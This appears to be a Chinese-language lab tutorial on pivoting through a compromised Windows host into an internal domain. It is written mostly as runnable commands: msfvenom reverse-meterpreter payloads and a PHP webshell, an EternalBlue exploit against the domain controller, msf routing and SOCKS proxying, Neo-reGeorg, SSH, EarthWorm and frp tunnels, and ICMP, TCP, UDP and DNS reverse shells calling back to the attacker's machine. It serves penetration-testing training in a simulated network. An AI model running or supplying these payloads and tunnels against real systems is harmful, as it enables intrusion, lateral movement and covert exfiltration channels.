网络架构
为什么这么做?
其实看整篇文章各个章节的标题就能知道,不管是内网的端口转发,还是内网的隧道建立,都是我们在拿下一台外围服务器以后才做的事情,拿下这台服务器以后,第一我们要保证这台服务器的权限,第二,再往内部一些外部访问不到的网段进行延伸,所以很多场景都是A能访问B,C也能访问B,但是A和C之前网络物理或者逻辑隔离了,目标是让A和C之间通信,至于隧道或者端口转发这么高大上的词汇,其实就是在解决这些问题,至于用什么方式,ICMP也好TCP/UDP也罢,亦或是更牛逼的DNS,只是换汤不换药,核心都是通信,用哪一层协议只是具体的实现方式不一样而已
对于我们的环境而言,kali是桥接,首先只能访问桥接的win2016和centos7-2,所以我们跟kali通信的大多是使用win2016的,这里毕竟是模拟环境,我们就会假设win2016这台windows已经被拿下了,所以很多木马都是直接放到win2016上的,这些操作跟域相关的知识关系还不是很大,基本都是拿下第一台服务器后的一些操作,所以用到kali和win2016比较多,我们的环境是建立在vmware的三种网络模式上,去模拟各种环境
端口转发
windows端口转发
kali上,通过msf生成木马
msfvenom -e x64/xor_dynamic -p windows/meterpreter/reverse_tcp lhost=192.168.2.67 lport=5555 -f exe > winshell1.exe
msf监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.67
set lport 5555
run
木马拷贝到windows上双击执行后,msf收到meterpreter
shell
chcp 65001
开启端口转发,意思是访问win2016的8888转发到192.168.10.2的80,所以192.168.10.2要开启IIS
netsh interface portproxy add v4tov4 listenport=8888 connectaddress=192.168.10.2 connectport=80
查看windows端口转发
netsh interface portproxy show all
访问win2016的8888
清除单条端口转发
netsh interface portproxy delete v4tov4 listenport=8888
或者(重置后,所有端口转发都会删除)
netsh interface portproxy reset
清除以后kali无法访问
通过windows转发3389
netsh interface portproxy add v4tov4 listenport=3399 connectaddress=192.168.10.2 connectport=3389
访问win2016的3399
rdesktop 192.168.2.66:3399
清除单条端口转发
netsh interface portproxy delete v4tov4 listenport=3399 connectaddress=192.168.10.2 connectport=3389
或者(重置后,所有端口转发都会删除)
netsh interface portproxy reset
meterpreter直接转发
把kali的8889代理到192.168.10.2的80
进入meterpreter命令行
portfwd add -l 8889 -r 192.168.10.2 -p 80
转发3389
portfwd add -l 3389 -r 192.168.10.2 -p 3389
meterpreter查看端口转发
portfwd list
所以我们访问的也应该是kali的8889
转发3389
portfwd add -l 3389 -r 192.168.10.2 -p 3389
切换到kali命令行,连接3389
rdesktop 127.0.0.1:3389
删除meterpreter转发
portfwd delete -l 8889 -r 192.168.10.2 -p 80
portfwd delete -l 3389 -r 192.168.10.2 -p 3389
内网路由-msf内部(meterpreter路由)
在msf中通过木马建立路由,达到可以在msf中访问内网
接着刚刚的meterpreter的session
shell
chcp 65001
arp -a
进入meterpreter命令行
查看路由,发现本来没有路由
run autoroute -p
加入内网路由
run autoroute -s 192.168.10.0/24
或者自动添加
run post/multi/manage/autoroute
退出meterpreter
background
在msf命令行查看路由
route print
win2012
扫描内网域控win2012的端口
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.10.2
set threads 10
set ports 21,22,25,79,80,105,106,110,143,443,3306,5000
run
也扫一扫别的,反正路由一挂,在msf里都是一家人了
use auxiliary/scanner/http/http_version
set rhosts 192.168.10.2
run
use auxiliary/scanner/mysql/mysql_version
set rhosts 192.168.10.2
run
use auxiliary/scanner/rdp/rdp_scanner
set rhosts 192.168.10.2
run
use auxiliary/scanner/ftp/ftp_version
set rhosts 192.168.10.2
run
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.10.2
run
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.10.2
run
域控还扫出了永恒之蓝
扫描内网IP
use auxiliary/scanner/discovery/udp_sweep
set rhosts 192.168.10.1-10
run
对域控win2012使用永恒之蓝,这个会失败,攻击都很成功,也没有报错,怎么就没有session创建呢?
原因是,在meterpreter里面加了路由,meterpreter可以访问内网的域控,但是用的是reverse_tcp的反弹shell,域控可没有能访问kali的能力啊
use exploit/windows/smb/ms17_010_psexec
set rhosts 192.168.10.2
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.2.67
exploit
我们不用反弹shell的,用主动连接的payload,这一步未必百分百成功,由于网络的原因需要多试几次(这里建议在meterpreter命令行自动加入路由,或者手动把内网和外网的路由都加上)
use exploit/windows/smb/ms17_010_psexec
set rhosts 192.168.10.2
set payload windows/meterpreter/bind_tcp
set LHOST 192.168.2.67
exploit
配置代理-msf外部(socks)
通过win2016的木马代理访问内网
msf代理是需要建立在meterpreter的路由上的(最好是在上一步的win2016的meterpreter里自动加入路由)
退出meterpreter
background
使用msf代理(socks=socket secure,在会话层)
这种方式是通过自己的代理,只要我自己代理打开了,挂上本机的代理,就能直接连接路由中的所有网络,通过真实IP访问
search proxy
use auxiliary/server/socks_proxy
run
配置linux命令行代理(类似windows里面的手动设置代理),效果是命令可以访问
vim /etc/proxychains4.conf
最后一行加入
socks5 127.0.0.1 1080
命令前面加上proxychains即可通过代理访问,对比两者
curl http://192.168.10.2/
proxychains curl http://192.168.10.2/
既然有80的web,就扫一下目录吧,虽然啥也扫不出来
proxychains dirb http://192.168.10.2/
直接访问域控的远程桌面
proxychains rdesktop 192.168.10.2:3389
浏览器加入代理(127.0.0.1:1080),效果是浏览器可以访问,加入后即可访问
http://192.168.10.2/
win7开启xampp后也可以直接访问
http://192.168.10.4/
msf命令行删除msf代理
jobs -K
删除kali浏览器代理
注释掉proxychains的代理,否则可能会影响后面
vim /etc/proxychains4.conf
隧道通信
Neo-reGeorg(HTTP)
Neo-reGeorg基于http的正向隧道
通过web跳板机的http进行通信,所以效果和msf外部(socks)代理是一样的
断开刚刚的session
Neo-reGeorg复制到kali上,生成木马
python3 neoreg.py generate -k 123456
生成完后,会多出来一个neoreg_servers目录,存放着各种语言的马
win2016里面使用xampp开启web,并把php马tunnel.php放到htdocs里,访问这个马,没有报错,就说明没问题
访问这个马,没有报错,就说明没问题
回到neo的目录,kali连接,看输出还是有SOCK5的字眼,而且还是127.0.0.1:1080,简直跟刚刚配置代理那一块神似,原理都差不多嘛
python3 neoreg.py -k 123456 -u http://192.168.2.66/tunnel.php
浏览器开启代理
就可以访问到内网了
命令行也一样使用修改proxychains文件,用proxychains+命令的方式访问
实验结束,关闭proxychains和浏览器代理
msf的php大马
msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.2.67 lport=4444 -f raw > msf_php_shell.php
msf监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.2.67
set lport 4444
run
php大马放到xampp里,随便访问一下这个马,就会产生meterpreter
后面的就和内网路由和配置代理一样咯,大体上和Neo-reGeorg一毛一样
ssh隧道
服务器有ssh,自然就能使用了
先在win2016上安装windws的ssh服务,下载地址
https://github.com/PowerShell/Win32-OpenSSH/releases
安装教程
https://www.cnblogs.com/wrxiang/p/15145288.html
安装完成后,win2016开启了22端口
本机连一下win2016试试
ssh administrator@192.168.2.66
kali上进行ssh隧道
kali上执行
8879是kali上开的端口,192.168.10.2:80为域控的web,administrator@192.168.2.66是win2016的登录方式,效果就是访问kali的8879代理到192.168.10.2的80,使用的是win2016的ssh隧道
ssh -CfNg -L 8879:192.168.10.2:80 administrator@192.168.2.66
浏览器再访问kali的8879,成功转发到了域控win2012的80
win2016上进行ssh隧道
win2016上执行,或者是其他的跳板机也行
3333是kali开启的端口,代理到192.168.10.2的80,root@192.168.2.67是kali的登录方式
ssh -CfNg -R 3333:192.168.10.2:80 root@192.168.2.67
访问kali的3333
EarthWorm
本工具已不再维护
https://gitee.com/aveng/EarthWorm/tree/master/download
https://github.com/mrawb/ew
正向代理
win2016上运行
ew_for_win_32.exe -s ssocksd -l 1080
kali浏览器设置代理到win2016的1080
直接访问域控
反向代理
区别正向和反向
正向是kali直接通过在win2016上面的ew代理访问到了本身访问不到的域控win2012
反向,假设当kali访问不到win2016的时候,但是kali可以访问一台公网的服务器,win2016也不能访问kali,同样,win2016也可以访问这台公网服务器,那么在公网服务器开一个服务,让win2016主动去连,然后kali访问公网服务器,从而可以正常访问win2016,但是我们的kali和win2016都是桥接,本身就能访问
所以这里我们要做一个变通,既然没有公网服务器,我们模拟一个公网出来,kali是不是访问不到Win7,kali是不是能访问到win2016,那么就假设win2016是一台公网服务器
假设存在一台公网服务器(win2016)启动一个服务端,1080代理端口,8888通信端口
ew_for_win_32.exe -s rcsocks -l 1080 -e 8888
win7连接通信端口,win7通过8888和公网(win2016)建立通信
ew_for_win_32.exe -s rssocks -d 192.168.10.5 -e 8888
kali浏览器代理设置到公网服务器(win2016)IP的1080,访问域控win2012的web,访问win7的web
注:使用反向代理,攻击者IP,即kali的IP不会暴露,只能再win7上溯源到公网服务器(win2016)的IP
frp
原理和ew基本一样,但是我这里换个场景玩一玩
下载地址
https://github.com/fatedier/frp/releases
之前也说到了,vmware的虚拟机nat模式可以访问仅主机,但是仅主机无法访问nat,这个过程就像内网可以主动访问公网,公网无法主动访问内网一样
centos7-1可以访问centos7-2,但是centos7-2是无法访问centos7-1的,类比过来是不是centos7-1就像是内网,centos7-2就像是公网,公网上的服务器是无法直接找到内网的
那我们这里是不是可以假设,centos7-2和dc-win2012都是“公网”上的服务器,这俩服务器是找不到centos7-1,因为这是个“内网”服务器;而centos7-1是台“内网”服务器,是可以直接访问“外网”的,所以我们的目标是要让“公网”服务器centos7-2直接访问到“内网”服务器centos7-1,当然要借助“公网”服务器dc-win2012
ssh
域控win2012不用改配置开启服务端
服务端frps.ini配置
[common]
bind_port = 7000
frps.exe -c frps.ini
centos7-1开启客户端,连接域控win2012
frpc.ini配置为
[common]
server_addr = 192.168.10.2
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 3333
./frpc -c ./frpc.ini
然后启动centos7-2,去访问域控的3333就能转发到centos7-1的22了,这样,一个原本不应该在公网上的就可以访问了,注意输入的是centos7-1的root密码,因为最后连的是centos7-1
ssh root@192.168.10.2 -p 3333
关掉代理之后,“外网”就又找不到内网了
web
如果是web的话,域控win2012先加入一条域名解析把frp.student.com解析到自己的IP上,因为现在自己充当的是公网服务器,所以centos7-1和centos7-2这两台ping frp.student.com是能直接找到域控的IP,虽然要等十几秒,但是网络一定是通的
ping frp.student.com
域控win2012改配置开启服务端,frp.student.com是解析到域控IP上面
服务端frps.ini配置,vhost_http_port开启8000,访问域控的8000转发给客户端的web
[common]
bind_port = 7000
vhost_http_port = 8000
frps.exe -c frps.ini
centos7-1开启客户端,并且centos7-1要通过xampp开启web了(因为我们的目标是让centos7-2访问centos7-1的web)
frpc.ini配置为,目的是和域控建立7000的连接,使用7000连接域控
[common]
server_addr = 192.168.10.2
server_port = 7000
[web]
type = http
local_port = 80
custom_domains = frp.student.com
./frpc -c ./frpc.ini
centos2上访问域控的8000,就直接能访问centos1的80了,注意对比开启frp之前和之后的访问情况
curl http://frp.student.com:8000/dashboard/phpinfo.php
dashboard
frp是支持界面的,开启dashboard,在域控win2012的服务端修改配置
[common]
bind_port = 7000
vhost_http_port = 8000
dashboard_port = 8001
dashboard_user = admin
dashboard_pwd = admin
开启服务
frps.exe -c frps.ini
访问
http://192.168.10.2:8001
ICMP隧道
icmpsh
原理通过ICMP协议的Data字段进行数据传输,icmpsh适合windows环境
icmpsh下载
git clone https://github.com/inquisb/icmpsh.git
kali配置,icmpsh目前只支持python2,kali自带的python版本为python3,所以kali需要安装python2后才能运行icmpsh,安装python2后,安装icmpsh依赖包
pip2 install impacket
关闭本机的icmp应答,防止内核对自己的ping包响应,默认是0,试验完记得改回来
sysctl -w net.ipv4.icmp_echo_ignore_all=1
在这个文件里可以查看是0还是1
cat /proc/sys/net/ipv4/icmp_echo_ignore_all
执行监听,第一个IP是本机的IP,也就是kali的IP,第二个IP是远程受控端win2016的IP
python2 icmpsh_m.py 192.168.2.67 192.168.2.66
win2016执行,icmpsh的受控端只能是windows,执行,IP为kali的的使用IP,执行后,kali成功收到反弹shell
icmpsh.exe -t 192.168.2.67
win2016上没啥反应,但是kali上已经反弹了shell了
Powershell ICMP
该工具适用于所有有powershell的地方
下载地址
https://github.com/samratashok/nishang
反连shell
kali依旧开启icmpsh监听
python2 icmpsh_m.py 192.168.2.67 192.168.2.66
win2016进入powershell,运行(在Shells中导入模块)
cd C:\Users\Administrator\Desktop\nishang-master\nishang-master\Shells
Import-Module .\Invoke-PowerShellIcmp.ps1
Invoke-PowerShellIcmp 192.168.2.67
win2016上没啥反应,但是kali上已经反弹了shell了
正向
基于TCP正向连接,这个是在win2016的powershell开启6666
cd C:\Users\Administrator\Desktop\nishang-master\nishang-master\Shells
Import-Module .\Invoke-PowerShellTcp.ps1
Invoke-PowerShellTcp -Bind -Port 6666
kali连接6666
nc -nv 192.168.2.66 6666
基于TCP/UDP的反弹shell
kali先监听,第一个是tcp,第二个是udp,我这里就用udp的吧
nc -lvp 5555
nc -luvp 5555
win2016执行,反连kali的IP+5555,需要时间多等几秒
cd C:\Users\Administrator\Desktop\nishang-master\nishang-master\Shells
Import-Module .\Invoke-PowerShellTcp.ps1
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.67 -Port 5555
基于udp的
cd C:\Users\Administrator\Desktop\nishang-master\nishang-master\Shells
Import-Module .\Invoke-PowerShellUdp.ps1
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.2.67 -Port 5555
win2016上没啥反应,但是kali上已经反弹了shell了
PingTunnel(centos)
ICMP隧道里面,一直是kali和一台win2016在通信,win2016是跳板机,如果当一台跳板机是centos的时候呢?虽然像是powershell的ICMP隧道,很多linux都已经支持了,像是kali就自带powershell,但是如果也不支持powershell的话,就要拿出PingTunnel了
下载地址
http://www.cs.uit.no/~daniels/PingTunnel/#download
我们再换一种场景,kali和centos7-2都有桥接的网卡,是可以访问的
域控win2012和centos7-2都有仅主机的网卡,是可以访问的
kali访问不了域控win2012,这时候,kali需要借助centos7-2访问域控win2012
centos7-2安装PingTunnel
yum -y install byacc
yum -y install flex bison
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -zxvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
直到编译不报错了,说明编译是没问题的,centos7-2执行,开启服务端
./ptunnel
kali开启icmp应答后,作为客户端连接centos7-2服务端的8899,kali是自带ptunnel的,建立隧道以后,可以访问192.168.10.2的80
ptunnel -p 192.168.2.78 -lp 8899 -da 192.168.10.2 -dp 80
kali添加代理到本机的8899,就可以直接访问域控win2012的80
ICMP的实验整体做完了,kali可以关闭本机的icmp应答,默认是0,试验完要改回来
sysctl -w net.ipv4.icmp_echo_ignore_all=0
DNS隧道
下载地址
https://github.com/yarrick/iodine
都知道ICMP是通过ICMP包里面的data字段,那么DNS又是怎么传输数据的呢,DNS是通过子域名解析的时候带外传输的
我们再次拿到这个例子来说一下,之前在做frp的时候,我们自己定义了“公网”服务器是centos7-2和域控win2012,内网服务器是centos7-1,原理就是NAT能访问仅主机,仅主机访问不了NAT
1.域控,或者说现在叫他DNS服务器,DNS服务器把www.student.com解析给了centos7-2的192.168.10.2,那么ping这个域名自然找到的就是centos7-2的IP
2.DNS服务器再创建一条NS记录(windows DNS 服务器叫委派记录),把ns.student.com记录委派给www.student.com域名解析,也就是centos7-2的192.168.10.2解析,那么所有ping ns.student.com的流量就都会经过centos7-2了,因为是交由给centos7-2解析
域控配置DNS域名解析,www解析到了centos7-2上
域控添加一条委派记录
委派的域名是ns
交由www进行解析
这时候,我们在centos7-2上面抓包,具体网卡名称根据实际改变,我这里调整网络太多次,网卡都到ens37了,就抓仅主机的网卡包就行
tcpdump -n -i ens37 udp dst port 53
在centos7-1上面,ping一下ns这种
ping please_help_me_to_send_this_message.ns.student.com
在centos7-2上是可以看到解析记录的,这也就是dnslog的原理,我们渗透的时候用的没有回显的任意代码执行,不就是用dnslog吗,虽然在centos7-1上解析失败,但是数据是不是已经在centos7-2上看到了
在两台centos上面安装iodine工具,我这边yum安装失败了,所以是通过源码编译安装的,但是要注意的是,源码安装会报很多错误,有错误的话网上查查很好解决,大多都是没有c或者git这种环境导致的,提前把两台centos的联网,更新yum源,先确定iodine安装编译成功后后再配置网络
通过子域名进行数据传输的话,也就是不能超过域名长度253,所以传输数据的时候会很卡,这也是DNS隧道相对隐蔽的理由,不过也只是相对,所以针对DNS隧道的最好检测就是检测域名长度
centos7-2上执行,启动服务端-P后面跟的是密码,我这里密码就是123,192.168.111.1是随便设置的一个临时的IP,这个IP的网段不要跟现有的任意网段冲突,ns.student.com就是ns(委派)记录
iodined -f -c -P 123 192.168.11.1 ns.student.com -DD
并且可以看到,启动服务后,新加了一块dns0的网卡,IP就是我们刚刚设置的192.168.11.1
centos7-1上执行,-P是刚刚设置的密码,IP就是centos7-2也就是服务端的IP
iodine -f -P 123 192.168.10.6 ns.student.com
centos7-1也多了一块网卡是192.168.11.3
那么此时,centos7-2就可以通过刚刚创建的dns0网卡访问centos7-1了
centos7-1开启web服务后
centos7-2访问
curl http://192.168.11.3/dashboard/phpinfo.php